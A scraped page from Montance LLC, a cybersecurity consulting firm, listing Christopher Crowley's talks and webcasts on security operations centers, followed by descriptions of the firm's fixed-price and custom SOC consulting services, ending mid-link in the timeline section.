[![](content/images/file.svg)](https://drive.google.com/file/d/1zPYbWbBaUZu1KCOFCO2Z4Ql1ZrAU4MS9/view?usp=drive_link) * Cybersecurity Today TV - Cybersecurity Operations Today: What’s Working, What’s Not #### Cybersecurity Today TV - Cybersecurity Operations Today: What’s Working, What’s Not [View and Ask Questions](questions.php?id=186) Christopher Crowley and Jim Wiggins 2025-07-25 [https://www.youtube.com/watch?v=FCo...](https://www.youtube.com/watch?v=FCo1QHfjCM4)[![](content/images/file.svg)](https://soc-survey.com) * SANS 2025 SOC Survey Webcast & Forum #### SANS 2025 SOC Survey Webcast & Forum [View and Ask Questions](questions.php?id=182) Christopher Crowley 2025-07-09 [https://www.sans.org/webcasts/sans-...](https://www.sans.org/webcasts/sans-2025-soc-survey/?montance=true)[![](content/images/file.svg)](none) * ISACA Future Tech 2025 - Build a Machine Learning Neural Network for Anomaly Detection on Logs #### ISACA Future Tech 2025 - Build a Machine Learning Neural Network for Anomaly Detection on Logs [View and Ask Questions](questions.php?id=185) Christopher Crowley 2025-05-19 [https://www.youtube.com/watch?v=ib6...](https://www.youtube.com/watch?v=ib6NK3GtR3w)[![](content/images/file.svg)](na) * Cybersecurity Today TV Show - Ep 59 #### Cybersecurity Today TV Show - Ep 59 [View and Ask Questions](questions.php?id=184) Christopher Crowley 2025-05-16 [![](content/images/file.svg)](https://www.cybersecuritytoday.org/) * The Evolution of Security Operations #### The Evolution of Security Operations [View and Ask Questions](questions.php?id=183) Christopher Crowley on Cyber PMM Podcast 2025-03-19 [https://www.youtube.com/watch?v=3xA...](https://www.youtube.com/watch?v=3xAw0MOT6S0)[![](content/images/file.svg)](none) * Anomaly Detection within Machine Learning on Logs #### Anomaly Detection within Machine Learning on Logs [View and Ask Questions](questions.php?id=181) Christopher Crowley 2025-01-09 [https://www.sans.org/webcasts/anoma...](https://www.sans.org/webcasts/anomaly-detection-within-machine-learning-logs/?soc-class=true)[![](content/images/file.svg)](https://montance.com/soc) * SOC & SOAR Track - Fall Cyber Solutions Fest 2024 #### SOC & SOAR Track - Fall Cyber Solutions Fest 2024 [View and Ask Questions](questions.php?id=180) Christopher Crowley (and many others) 2024-11-07 [https://www.sans.org/webcasts/Fall-...](https://www.sans.org/webcasts/Fall-Cyber-Solutions-Fest-2024-SOC-SOAR-Track/?utm=montancecom)[![](content/images/file.svg)](none) * 2024 SOC Survey #### 2024 SOC Survey [View and Ask Questions](questions.php?id=176) Christopher Crowley 2024-07-12 [https://www.sans.org/webcasts/sans-...](https://www.sans.org/webcasts/sans-2024-soc-survey-facing-top-challenges-in-security-operations/?utm_src=montancecom)[![](content/images/file.svg)](https://soc-survey.com) * Madrid SANS - 2023 SOC Survey #### Madrid SANS - 2023 SOC Survey [View and Ask Questions](questions.php?id=178) Christopher Crowley 2024-06-11 [https://drive.google.com/drive/fold...](https://drive.google.com/drive/folders/1lYhfta9XkIUqe0FlJxemvK48AYmuI8_d)[![](content/images/pdf.svg)](https://drive.google.com/drive/folders/1lYhfta9XkIUqe0FlJxemvK48AYmuI8_d?usp=drive_link.pdf) * Kuwait Fundamentals and Best Practices for the SOC #### Kuwait Fundamentals and Best Practices for the SOC [View and Ask Questions](questions.php?id=177) Christopher Crowley 2024-05-05 [https://us02web.zoom.us/rec/share/T...](https://us02web.zoom.us/rec/share/TGHYL0I5R1A-05RXePTgmD5ejNQ7F1e3pI1d3ZKoydWvaM-F9gNpBuTXGovkRfjA.ihxrpbeFpAOt-2Oo?startTime=1714928582000%20Passcode:%208J1DSv7$)[![](content/images/file.svg)](https://drive.google.com/file/d/17-Ia3r5i91LMDRi-zKY6EELQVB_VZlGR/view) * 2023 SANS SOC Survey Review: Highlights and Deep Dive #### 2023 SANS SOC Survey Review: Highlights and Deep Dive [View and Ask Questions](questions.php?id=179) Christopher Crowley 2024-03-11 [https://www.youtube.com/watch?v=K\_h...](https://www.youtube.com/watch?v=K_hyhTSNlmw)[![](content/images/file.svg)](https://drive.google.com/drive/folders/1BR5WkU5BSExFscCGi2Li182_tpLgcPOK) * Arab Intl Cybersecurity Conference - Bahrain #### Arab Intl Cybersecurity Conference - Bahrain [View and Ask Questions](questions.php?id=175) Christopher Crowley and others 2023-12-05 [https://www.arabcybersecurity.com/a...](https://www.arabcybersecurity.com/agenda?day=2023-12-05)[![](content/images/file.svg)](not available) * BLASTPASS SANS HackFest Hollywood 2023 #### BLASTPASS SANS HackFest Hollywood 2023 [View and Ask Questions](questions.php?id=174) Christopher Crowley 2023-11-16 [https://www.youtube.com/watch?v=rdA...](https://www.youtube.com/watch?v=rdAARflivt0)[![](content/images/file.svg)](https://drive.google.com/file/d/17TskvDNWBI76siLBDqlFuHTPi6uGVrIz/view?usp=drive_link) * Cyber Solutions Fest 2023: SOC & SOAR #### Cyber Solutions Fest 2023: SOC & SOAR [View and Ask Questions](questions.php?id=173) Christopher Crowley and many others 2023-10-25 [https://www.sans.org/webcasts/cyber...](https://www.sans.org/webcasts/cyber-solutions-fest-2023-soc-soar/?source=montancecom)[![](content/images/file.svg)](unavailable) * SOC Survey - The Hack Summit #### SOC Survey - The Hack Summit [View and Ask Questions](questions.php?id=172) Christopher Crowley 2023-10-19 [![](content/images/file.svg)](unavailable) * SOC Panel: Finding, Keeping, and Caring for the Best People #### SOC Panel: Finding, Keeping, and Caring for the Best People [View and Ask Questions](questions.php?id=171) Christopher Crowley; Russ McRee; Alissa Torres; Carson Zimmerman 2023-08-11 [https://cfc.blueteamvillage.org/dc...]( https://cfc.blueteamvillage.org/dc31/talk/WWXKQE/)[![](content/images/file.svg)](unavailable) * DarkReading Mandiant Threat Intel 3rd Party Risk #### DarkReading Mandiant Threat Intel 3rd Party Risk [View and Ask Questions](questions.php?id=137) Christopher Crowley 2023-06-29 [https://darkreading.tradepub.com/fr...](https://darkreading.tradepub.com/free/w_manf56/)[![](content/images/file.svg)](https://drive.google.com/file/d/1khP-x1wnDIwbN3OkWARL7D_OkWouVFDo/view?usp=drive_link) * TrendMicro #### TrendMicro [View and Ask Questions](questions.php?id=170) Christopher Crowley 2023-05-06 [https://resources.trendmicro.com/R2...](https://resources.trendmicro.com/R2R-WT23-Cleveland.html)[![](content/images/file.svg)](https://drive.google.com/file/d/1HOKv-aQyLfLQI_ClYEUooNt1AJqRbA6c/view?usp=drive_link) * 2023 SOC/SOAR Solutions Forum #### 2023 SOC/SOAR Solutions Forum [View and Ask Questions](questions.php?id=169) Christopher Crowley and many others 2023-03-17 [https://www.sans.org/webcasts/2023-...](https://www.sans.org/webcasts/2023-soc-soar-solutions-forum/)[![](content/images/file.svg)](unavailable) * Informa Wiz DevSecOps #### Informa Wiz DevSecOps [View and Ask Questions](questions.php?id=136) Christopher Crowley 2023-03-06 [https://darkreading.tradepub.com/fr...](https://darkreading.tradepub.com/free/w_defa3872/prgm.cgi?a=1)[![](content/images/file.svg)](https://drive.google.com/file/d/1k_N5M0NoOznU-Hf_RnAQp3f4IlrBVVG4/view?usp=drive_link) * CDFS SOC Capabilities Architecture People #### CDFS SOC Capabilities Architecture People [View and Ask Questions](questions.php?id=135) Christopher Crowley 2023-02-14 [https://eventbrite.com.au/e/soc-web...](https://eventbrite.com.au/e/soc-webinar-by-chris-crowley-tickets-516350366847?aff=montancepreso)[![](content/images/file.svg)](https://drive.google.com/file/d/1aORbV1HERh7wlZO1pgiAK_qYoEnzFBQI/view?usp=drive_link) * SOC Survey Data 2 #### SOC Survey Data 2 [View and Ask Questions](questions.php?id=168) Christopher Crowley 2022-12 [![](content/images/file.svg)](https://mgt517.com/soc) * PSW #760 #### PSW #760 [View and Ask Questions](questions.php?id=167) Christopher Crowley 2022-10-19 [https://www.youtube.com/watch?v=XQl...](https://www.youtube.com/watch?v=XQlo-7webv0)[![](content/images/file.svg)](document unavailable) * DarkReading DeepInstinct AI #### DarkReading DeepInstinct AI [View and Ask Questions](questions.php?id=134) Christopher Crowley 2022-09 [![](content/images/file.svg)](https://drive.google.com/file/d/1kS7Dt10PFB4AhoYwia1v8jq9ngT9oL6T/view?usp=drive_link) * SOC Survey Intro 1 #### SOC Survey Intro 1 [View and Ask Questions](questions.php?id=166) Christopher Crowley 2022-05 [https://www.sans.org/webcasts/sans-...](https://www.sans.org/webcasts/sans-2022-soc-survey/)[![](content/images/file.svg)](https://www.sans.org/white-papers/sans-2022-soc-survey/) * DarkReading Qualys #### DarkReading Qualys [View and Ask Questions](questions.php?id=133) Christopher Crowley 2022-03 [![](content/images/file.svg)](https://drive.google.com/file/d/1kK41tzfsR6bT1ZgZSkPh42NmjtceqzKg/view?usp=drive_link) * DarkReading ZScaler #### DarkReading ZScaler [View and Ask Questions](questions.php?id=132) Christopher Crowley 2022-01-06 [![](content/images/file.svg)](https://drive.google.com/file/d/1l4pntoK7KrPYYh0yZmAnr3Rvcx2DRMwq/view?usp=drive_link) * DarkReading Darktrace AI #### DarkReading Darktrace AI [View and Ask Questions](questions.php?id=131) Christopher Crowley 2021-12-11 [![](content/images/file.svg)](https://drive.google.com/file/d/1lApgYYIxN7CO1MgOf-_w9lLbWwS-JtpA/view?usp=drive_link) * Cybrary SOC Series-2 Tech 003 #### Cybrary SOC Series-2 Tech 003 [View and Ask Questions](questions.php?id=130) Christopher Crowley 2021-12-07 [https://www.cybrary.it/business/res...](https://www.cybrary.it/business/resources/tech-evals-finding-right-SOC-solutions-part3/?utm_source=montance&utm_medium=partner&utm_campaign=webinar)[![](content/images/file.svg)](https://drive.google.com/file/d/1lJG5aj4Wx_hdNCxjTSqLIHAmRroW4Ast/view?usp=drive_link) * Picus SANS Keynote 2021 11 25 001 #### Picus SANS Keynote 2021 11 25 001 [View and Ask Questions](questions.php?id=165) Christopher Crowley 2021-11-25 [https://events.picussecurity.com/ho...](https://events.picussecurity.com/how-to-build-a-modern-soc-2022)[![](content/images/file.svg)](https://drive.google.com/file/d/1kGZXw_QwcGrlyrEyBqgWwgrM95mulAu7/view?usp=drive_link) * FORCEDENTRY - Paris #### FORCEDENTRY - Paris [View and Ask Questions](questions.php?id=164) Christopher Crowley 2021-11-07 [https://www.youtube.com/watch?v=LcD...](https://www.youtube.com/watch?v=LcDVXagFdBM)[![](content/images/file.svg)](https://www.sans.org/blog/what-you-need-to-know-about-cve-2021-30860-aka-forcedentry/?soc-class=true) * ODSC Pandas #### ODSC Pandas [View and Ask Questions](questions.php?id=163) Christopher Crowley 2021-11-02 [https://www.crunchbase.com/event/od...](https://www.crunchbase.com/event/odsc-west-2021-open-data-science-conference)[![](content/images/file.svg)](https://drive.google.com/file/d/1lOZNfVcrr8kdHF3iVIw8QCYtb5BuT78Z/view?usp=drive_link) * Cyber Solutions Fest 2021: Level SOC & SOAR Efficiency #### Cyber Solutions Fest 2021: Level SOC & SOAR Efficiency [View and Ask Questions](questions.php?id=160) Christopher Crowley 2021-10-21 [https://www.sans.org/webcasts/cyber...](https://www.sans.org/webcasts/cyber-solutions-fest-level-soc-soar/)[![](content/images/file.svg)](https://www.sans.org/webcasts/cyber-solutions-fest-level-soc-soar/) * Cybrary SOC Series-2 Tech 002 #### Cybrary SOC Series-2 Tech 002 [View and Ask Questions](questions.php?id=159) Christopher Crowley 2021-10-19 [https://www.cybrary.it/business/res...](https://www.cybrary.it/business/resources/tech-evals-finding-right-SOC-solutions-part2/?utm_source=montance&utm_medium=partner&utm_campaign=webinar)[![](content/images/file.svg)](https://drive.google.com/file/d/1k8fzbINz9usH_gRgkOAizhwGeISkxJGK/view?usp=drive_link) * DarkReading Montance TITH #### DarkReading Montance TITH [View and Ask Questions](questions.php?id=162) Christopher Crowley 2021-10-15 [![](content/images/file.svg)](https://drive.google.com/file/d/1l_hWE7XSH6LFbWN8ziHiS99QBQk0I43o/view?usp=drive_link) * FORCEDENTRY #### FORCEDENTRY [View and Ask Questions](questions.php?id=161) Christopher Crowley 2021-09-23 [https://www.youtube.com/watch?v=LcD...](https://www.youtube.com/watch?v=LcDVXagFdBM)[![](content/images/file.svg)](https://www.sans.org/blog/what-you-need-to-know-about-cve-2021-30860-aka-forcedentry/?soc-class=true) * DarkReading Qualys Montance AlertFatigue #### DarkReading Qualys Montance AlertFatigue [View and Ask Questions](questions.php?id=129) Christopher Crowley 2021-09-14 [![](content/images/file.svg)](https://drive.google.com/file/d/1l_h_89UftZXJQ7aMbJP37iHfInkubHTh/view?usp=drive_link) * Cybrary SOC Series-2 Tech 001 #### Cybrary SOC Series-2 Tech 001 [View and Ask Questions](questions.php?id=158) Christopher Crowley 2021-09-14 [https://www.cybrary.it/business/res...](https://www.cybrary.it/business/resources/tech-evals-finding-right-SOC-solutions-part1/?utm_source=montance&utm_medium=partner&utm_campaign=webinar)[![](content/images/file.svg)](https://drive.google.com/file/d/1lcyHBXka0dRMTqTbfuBQ8ufFyHf6JNOw/view?usp=drive_link) * Mobile Attack Surface AATCC #### Mobile Attack Surface AATCC [View and Ask Questions](questions.php?id=157) Christopher Crowley 2021-08-16 [https://members.aatcc.org/store/web...](https://members.aatcc.org/store/webinar27/3575/)[![](content/images/file.svg)](https://drive.google.com/file/d/1lutkSClXSmbdLrib0fULq-0u5s-xpmxU/view?usp=drive_link) * SOAR DomainTools #### SOAR DomainTools [View and Ask Questions](questions.php?id=128) Christopher Crowley 2021-08-16 [![](content/images/file.svg)](https://drive.google.com/file/d/1lshPl0P5DLyFKxlLgqPegrVeQGU2gzxR/view?usp=drive_link) * Cybrary SOC Series 004 #### Cybrary SOC Series 004 [View and Ask Questions](questions.php?id=156) Christopher Crowley 2021-07-11 [https://www.cybrary.it/business/res...](https://www.cybrary.it/business/resources/maximizing-security-operations-enhance-soc-capability-maturity/?utm_source=montance&utm_medium=partner&utm_campaign=webinar)[![](content/images/file.svg)](https://drive.google.com/file/d/1REp7X3n4LbiktCh1NQi461ByeDImHAsL/view?usp=drive_link) * Cybrary SOC Series 003 #### Cybrary SOC Series 003 [View and Ask Questions](questions.php?id=155) Christopher Crowley 2021-06-09 [https://www.cybrary.it/business/res...](https://www.cybrary.it/business/resources/maximizing-security-operations-soc-staffing-incident-response/?utm_source=montance&utm_medium=partner&utm_campaign=webinar)[![](content/images/file.svg)](https://drive.google.com/file/d/1LaCBTviv0pPUTuMjJV6MBvpFcJ1s_txP/view?usp=drive_link) * SOC Stock Metrics 2021 06 06 #### SOC Stock Metrics 2021 06 06 [View and Ask Questions](questions.php?id=127) Christopher Crowley 2021-06-06 [![](content/images/file.svg)](https://drive.google.com/file/d/1k8kxNk5l7jzC82MiCLoXnfYOZXKLDWGG/view?usp=drive_link) * DarkReading PaloAltoNetworks SOAR SOC Class #### DarkReading PaloAltoNetworks SOAR SOC Class [View and Ask Questions](questions.php?id=126) Christopher Crowley 2021-06 [![](content/images/file.svg)](https://drive.google.com/file/d/1Q_-WKqTiRSFkHzv8c5bbshmrOKbU3HxB/view?usp=drive_link) * RSA Technology Taxonomy #### RSA Technology Taxonomy [View and Ask Questions](questions.php?id=153) Christopher Crowley 2021-05 [https://www.youtube.com/watch?v=nXg...](https://www.youtube.com/watch?v=nXgCxJC-a4w)[![](content/images/file.svg)](https://drive.google.com/file/d/1LAg4d798c7MhamiUace2TEkh4puzevYx/view?usp=drive_link) * SOC Architecture Maturity Failures OhMyHack #### SOC Architecture Maturity Failures OhMyHack [View and Ask Questions](questions.php?id=154) Christopher Crowley 2021-05 [![](content/images/file.svg)](https://drive.google.com/file/d/1jjBVmfg-fHrbETuNlS-fxSnnHtkk6i8C/view?usp=drive_link) * Chris Crowley - 2020 Security Operations Center Survey Results #### Chris Crowley - 2020 Security Operations Center Survey Results [View and Ask Questions](questions.php?id=152) Ron Gula & Christopher Crowley 2021-01-14 [![](content/images/file.svg)](https://www.gula.tech/blog/gtfc3) * STH Metrics SOC User Awareness #### STH Metrics SOC User Awareness [View and Ask Questions](questions.php?id=151) Christopher Crowley 2020-12-03 [https://www.youtube.com/watch?v=ERl...](https://www.youtube.com/watch?v=ERlyoB-6z4o)[![](content/images/file.svg)](https://drive.google.com/file/d/13AXj03Vb0LUnGQ3Mw4twZPEE_m7ZMuHB/view?usp=drive_link) * Use Case Development: Excerpt #### Use Case Development: Excerpt [View and Ask Questions](questions.php?id=150) Christopher Crowley 2020-11-01 [https://www.youtube.com/watch?v=Dd\_...](https://www.youtube.com/watch?v=Dd_R-BeyS2I)[![](content/images/file.svg)](https://mgt517.com/soc) * CloudSecurity Alliance Metrics Excerpt #### CloudSecurity Alliance Metrics Excerpt [View and Ask Questions](questions.php?id=125) Christopher Crowley 2020-10 [![](content/images/file.svg)](https://drive.google.com/file/d/1jjBVmfg-fHrbETuNlS-fxSnnHtkk6i8C/view?usp=drive_link) * SOC Architecture Maturity Failures #### SOC Architecture Maturity Failures [View and Ask Questions](questions.php?id=124) Christopher Crowley 2020-09-29 [![](content/images/file.svg)](https://drive.google.com/file/d/1jdjpSwQAIzFvfZoGjAPgxF6-cvCPBF_v/view?usp=drive_link) * Giving Effective Presentations: A Crash Course with Chris Crowley #### Giving Effective Presentations: A Crash Course with Chris Crowley [View and Ask Questions](questions.php?id=149) Christopher Crowley 2020-09-29 [https://www.youtube.com/watch?v=k6p...](https://www.youtube.com/watch?v=k6p7TDg-2yo)[![](content/images/file.svg)](https://www.sans.org/blog/giving-effective-presentations-crash-course-with-chris-crowley/) * Mobile Attack Surface #### Mobile Attack Surface [View and Ask Questions](questions.php?id=147) Christopher Crowley 2020-09 [https://www.sans.org/webcasts/mobil...](https://www.sans.org/webcasts/mobile-assessments-attack-surface-frameworks-114985/)[![](content/images/file.svg)](https://drive.google.com/file/d/1lutkSClXSmbdLrib0fULq-0u5s-xpmxU/view?usp=drive_link) * WWHF Hunting by Numbers FINAL PDF #### WWHF Hunting by Numbers FINAL PDF [View and Ask Questions](questions.php?id=148) Christopher Crowley 2020-09 [https://www.youtube.com/watch?v=EXy...](https://www.youtube.com/watch?v=EXy1_v9l0dw)[![](content/images/file.svg)](https://drive.google.com/file/d/10H5YY4mtOIMCVh3VMKZv-_cqxrdp0BEv/view?usp=drive_link) * Vampirism and the Donut Economy #### Vampirism and the Donut Economy [View and Ask Questions](questions.php?id=146) Christopher Crowley 2020-06 [https://www.youtube.com/watch?v=8ah...](https://www.youtube.com/watch?v=8ahiTPBglok)[![](content/images/file.svg)](https://drive.google.com/file/d/18lWAZ7NpQL2IDs3Pstb3DpNJ_yNlcPAr/view?usp=drive_link) * Educause V0toVHard FULL #### Educause V0toVHard FULL [View and Ask Questions](questions.php?id=144) Christopher Crowley 2020-04 [https://www.youtube.com/watch?v=caP...](https://www.youtube.com/watch?v=caPYj9v8E-M)[![](content/images/file.svg)](Educause-V0toVHard-FULL.pptx) * Educause V0toVHard Short #### Educause V0toVHard Short [View and Ask Questions](questions.php?id=145) Christopher Crowley 2020-04 [https://events.educause.edu/special...](https://events.educause.edu/special-topic-events/security-professionals-conference/2020/agenda/go-from-vintro-to-vhard-train-for-secops-the-right-way)[![](content/images/file.svg)](Educause-V0toVHard-Short.pptx) * SOAR Austin #### SOAR Austin [View and Ask Questions](questions.php?id=123) Christopher Crowley 2020-01 [![](content/images/file.svg)](https://drive.google.com/file/d/1BiW5xM3_uZ2kITqs8QY3OJzJtoCR2VDA/view?usp=drive_link) * 2019 SOC Survey: Common and Best Practices for Security Operations Centers #### 2019 SOC Survey: Common and Best Practices for Security Operations Centers [View and Ask Questions](questions.php?id=142) Christopher Crowley 2019-07-09 [https://www.sans.org/webcasts/commo...](https://www.sans.org/webcasts/common-practices-security-operations-centers-results-2019-soc-survey-110050/?socclass=true)[![](content/images/file.svg)](https://www.sans.org/white-papers/39060/?socclass=true) * Denver Equifax SO #### Denver Equifax SO [View and Ask Questions](questions.php?id=122) Christopher Crowley 2019-07 [![](content/images/file.svg)](https://drive.google.com/file/d/1jH2Geq0vaUYTUgPCIH-pojj1IwcLcq1y/view?usp=drive_link) * SOC Metrics for FIRST #### SOC Metrics for FIRST [View and Ask Questions](questions.php?id=120) Carson Zimmerman and Christopher Crowley 2019-06 [https://media.first.org/webinars/Me...](https://media.first.org/webinars/Metrics-SIG_Practical-SOC-Metrics.mp4)[![](content/images/pdf.svg)](https://www.first.org/resources/papers/conf2019/Public__SOC-Metrics-for-FIRST-v07-002-.pdf) * SOC Survey Preview #### SOC Survey Preview [View and Ask Questions](questions.php?id=143) Christopher Crowley 2019-06 [![](content/images/file.svg)](https://www.sans.org/white-papers/39060/) * Technology Taxonomy Crowley Pescatore #### Technology Taxonomy Crowley Pescatore [View and Ask Questions](questions.php?id=121) Christopher Crowley 2019-06 [![](content/images/file.svg)](https://drive.google.com/file/d/1jTo-Gm8wgLgStQKO7wloT8N02ajNxfFx/view?usp=drive_link) * HK Equifax SO #### HK Equifax SO [View and Ask Questions](questions.php?id=118) Christopher Crowley 2019-03 [![](content/images/file.svg)](https://drive.google.com/file/d/1j5uk-vfJ5psgZsvBrTBaw2OOajT80vId/view?usp=drive_link) * Manila HK Equifax SO #### Manila HK Equifax SO [View and Ask Questions](questions.php?id=119) Christopher Crowley 2019-03 [![](content/images/file.svg)](https://drive.google.com/file/d/1ivi5hyzX0JGXeqqKnjq5YNedqS3PCxjz/view?usp=drive_link) * SOAR #### SOAR [View and Ask Questions](questions.php?id=117) Christopher Crowley 2019-02 [![](content/images/file.svg)](https://drive.google.com/file/d/1ivAGXAFPruxBBGL0675FQc0aa3OYBqxJ/view?usp=drive_link) * SOC Brief #### SOC Brief [View and Ask Questions](questions.php?id=116) Christopher Crowley 2018-11 [![](content/images/file.svg)](https://drive.google.com/file/d/1isxy5UtEKLOHV2x1q4VvS4cZJ39NC4qd/view?usp=drive_link) * CIRT, CERT, CSIRT, SOC Osaka, #### CIRT, CERT, CSIRT, SOC Osaka, [View and Ask Questions](questions.php?id=114) Christopher Crowley 2018-10 [![](content/images/file.svg)](https://drive.google.com/file/d/1imbGsfY9G5-wQ2vgv0gvnXvsxCamixw_/view?usp=drive_link) * CIRT, CERT, CSIRT, SOC Singapore #### CIRT, CERT, CSIRT, SOC Singapore [View and Ask Questions](questions.php?id=115) Christopher Crowley 2018-10 [![](content/images/file.svg)](https://drive.google.com/file/d/1inbBVDicr51h0WK81HYPXbc78bBBf7cp/view?usp=drive_link) * The Definition of SOC-cess? SANS 2018 Security Operations Center Survey #### The Definition of SOC-cess? SANS 2018 Security Operations Center Survey [View and Ask Questions](questions.php?id=141) Christopher Crowley 2018-08-01 [https://www.sans.org/white-papers/d...](https://www.sans.org/white-papers/definition-soc-cess-sans-2018-security-operations-center-survey/)[![](content/images/file.svg)](https://www.sans.org/white-papers/definition-soc-cess-sans-2018-security-operations-center-survey/) * Osaka #### Osaka [View and Ask Questions](questions.php?id=113) Christopher Crowley 2018-03 [![](content/images/file.svg)](https://drive.google.com/file/d/1id-TLblS6kmrr_m5HOuc8-fxTUhlv7VF/view?usp=drive_link) * Top8StepsForMobile AppAssessmentFocus #### Top8StepsForMobile AppAssessmentFocus [View and Ask Questions](questions.php?id=140) Christopher Crowley 2018-02-08 [![](content/images/file.svg)](https://drive.google.com/file/d/1k-f_cyXTlqNXbUFTQXeGOEqU4ElqxBtM/view?usp=drive_link) * Use Case Development #### Use Case Development [View and Ask Questions](questions.php?id=112) Christopher Crowley 2017-11 [![](content/images/file.svg)](https://drive.google.com/file/d/1ijDBZZvKS5lrk32hZbGhce1n_ytFo_ow/view?usp=drive_link) * Tokyo CommNight v001 #### Tokyo CommNight v001 [View and Ask Questions](questions.php?id=111) Christopher Crowley 2017-10 [![](content/images/file.svg)](https://drive.google.com/file/d/0B9l-G6EuipZgUC1BZzdKZU03UHM/view?usp=drive_link&resourcekey=0-z9YZWjr11iN_WhfJ0hvLCg) * APAC SOC Summit Survey #### APAC SOC Summit Survey [View and Ask Questions](questions.php?id=109) Christopher Crowley 2017-09 [![](content/images/file.svg)](https://drive.google.com/file/d/1ifa_5oCtSKh9Uh0cyVu6lRNA9iXmUEka/view?usp=drive_link) * Future SOC: SANS 2017 Security Operations Center Survey #### Future SOC: SANS 2017 Security Operations Center Survey [View and Ask Questions](questions.php?id=110) Christopher Crowley 2017-09 [![](content/images/file.svg)](https://drive.google.com/file/d/0B9l-G6EuipZgY1p4bkJlTmcwMWM/view?usp=drive_link&resourcekey=0-CEv4L7Qrx_to0GXAk6zAFQ) * SOC Summit Survey Deep Dive #### SOC Summit Survey Deep Dive [View and Ask Questions](questions.php?id=108) Christopher Crowley 2017-06 [![](content/images/file.svg)](https://drive.google.com/file/d/1idXgZPy4XRX29tgTEzsUuOeW34ESZ2b1/view?usp=drive_link) * Top8StepsForMobile AppAssessmentFocus Orlando #### Top8StepsForMobile AppAssessmentFocus Orlando [View and Ask Questions](questions.php?id=107) Christopher Crowley 2017-04-10 [![](content/images/file.svg)](https://drive.google.com/file/d/1iTZQxEZshdBhxPPIh0miHBSOrDE14dDp/view?usp=drive_link) * Threat Hunting #### Threat Hunting [View and Ask Questions](questions.php?id=139) Christopher Crowley 2017-04 [https://www.youtube.com/watch?v=pDY...](https://www.youtube.com/watch?v=pDY639JsT7I)[![](content/images/file.svg)](https://drive.google.com/file/d/1iXQSVT9b5HeFYX32VrhjuxMwOzl0YpzL/view?usp=drive_link) * HummingBad Malware\_CC\_1000 #### HummingBad Malware\_CC\_1000 [View and Ask Questions](questions.php?id=106) Christopher Crowley 2016-12-09 [![](content/images/file.svg)](HummingBad-Malware_CC_1000.pptx) * MGT517 Course Flyer Managing Security Operations #### MGT517 Course Flyer Managing Security Operations [View and Ask Questions](questions.php?id=105) Christopher Crowley 2016-05 [![](content/images/pdf.svg)](MGT517 Course Flyer_Managing Security Operations.pdf) * Tokyo SOC Presentation #### Tokyo SOC Presentation [View and Ask Questions](questions.php?id=104) Christopher Crowley 2015-07 [![](content/images/file.svg)](https://drive.google.com/file/d/1jbakjU4h6WIntTVlxoj1P_InkKSB8kJG/view?usp=drive_link) * Crowley\_SOC\_Summit #### Crowley\_SOC\_Summit [View and Ask Questions](questions.php?id=103) Christopher Crowley 2015-04-30 [![](content/images/file.svg)](https://drive.google.com/file/d/1iJ_anYVxfPSMa02S5uTOWxRF1w1EOMO0/view?usp=drive_link) * penTest HackFest AndroidCodeInspection #### penTest HackFest AndroidCodeInspection [View and Ask Questions](questions.php?id=102) Christopher Crowley 2015-01-27 [![](content/images/file.svg)](https://drive.google.com/file/d/1iDMUiq9U2K4sSmW2ukMPfY0YyByfRnTa/view?usp=drive_link) * CellularEavesdropping SD #### CellularEavesdropping SD [View and Ask Questions](questions.php?id=101) Christopher Crowley 2014-09-30 [![](content/images/file.svg)](https://drive.google.com/file/d/1iCK8fiTXvdX668ARCl0m-Vcjj7kdXYtP/view?usp=drive_link) --- ## Source: https://montance.com/services # Learn.Build.Customize Montance® LLC is a boutique cybersecurity consulting firm. The majority of the customers are medium to large companies with existing SecOps capabilities. In addition, managed service providers (MSPs) who aspire to be managed security service providers (MSSPs) are frequently customers. Typical customers are in financial, IT services, energy, and government sectors. To expedite contracting and provide a clear price for services provided, the majority of offerings are fixed price. For example, the SOC implementation timeline is a sliding-scale, very low cost (and very high value) offering. This is a complete summary of all of Christopher Crowley's thoughts on the design, build, and operation of a SOC. If you have something else in mind, please read the section on custom solutions. ![](content/images/illustrations/learn-built.png) ![](content/images/icons/arrow-right.svg) ![](content/images/icons/design-development-execution.png) Fixed Price Program or Custom ## Excercise Creation & Execution Montance® LLC can recommend and execute an appropriate tabletop to assure organizational interaction with the SOC is where it needs to be. Or, plan and execute an assessment of SOC capability. Evaluation of best fit tabletop for the client and agreement of appropriate exercise development program. This can be one day executive table top, or extensive training and assessment of defensive staff, possibly including red/purple team. Montance® has extensive experience designing and delivering exercises for a multitude of audiences, including development of a single exercise spanning multiple technical levels. ![](content/images/icons/implementation.png) Fixed Price Program ## Implementation Project Plan The Montance® timeline offering to guide SOC: design, build, and implementation. Sliding scale priced program to deliver a comprehensive project plan with key deliverables and timeline for developing a SOC. Client responsible for implementation without additional consulting support. Pay what it's worth to you, after an initial small cost to receive it. [![](content/images/icons/gantt-chart.svg) the Gantt Chart](timeline) ![](content/images/icons/implementation-consultation.png) Fixed Price Program ## SOC Implementation Consultation Fixed priced, scheduled advisory program to develop a SOC, it is based upon the Gantt chart, adding access to SME guidance on a milestone driven basis. Using the SOC Gantt chart, the organization will establish the project, and Christopher Crowley will be the SME participating in this project. This option is intended to be a low cost option to provide consultation and guidance. Customization and deviation from established check-points and deliverables is not allowed under this arrangement. Crowley will review deliverables and provide feedback and guidance. If the Gantt chart itself isn't enough to guide you through the effort of building a SOC, but a large consultation engagement is not desirable or affordable, this is the best option for you. ![](content/images/icons/maturity-assessment.png) Fixed Price Program ## Maturity Assessment Montance® LLC has developed a streamlined maturity assessment and recommendations method. If you think your SOC is good, but want to measure what good means, this is the option for you. Montance® LLC is [the North American partner for the SOC-CMM](https://soc-cmm.com/services/support/). This solution is approximately four months in duration. It provides in depth assessment of the current status of your cybersecurity operations. The deliverables are detailed guidance for adjustment of metrics, operations, technology, staff, procedures, documentation, and anything else that is in scope for your SOC. Enable the capability you want to see in your SOC. ![](content/images/icons/custom-solution.png) Custom ## Custom Solution Montance® LLC can deliver a solution that is exactly what you envision. Prior to considering this option, please realize the minimum is 240 billable hours over 3-6 month duration to make this solution tenable for contracting. One year duration is more common, since it takes time to develop and implement change. If you are ready to embrace change in your SOC and would like an SME with global perspective and persistent drive, this is the option for you. This is intended to be the most flexible option, and will provide consulting time to provide mentoring, advising, presentations, internal training program development, interim leadership and/or operational project deliverables. Work will be performed on-site or remotely, as determined by the project objectives and sensitivity. --- ## Source: https://montance.com/timeline ## Timeline Fixed price program to deliver a comprehensive project plan with key deliverables and timeline for developing a SOC. Client responsible for implementation without additional consulting support. [![](content/images/icons/gantt-chart.svg) Buy the Gantt 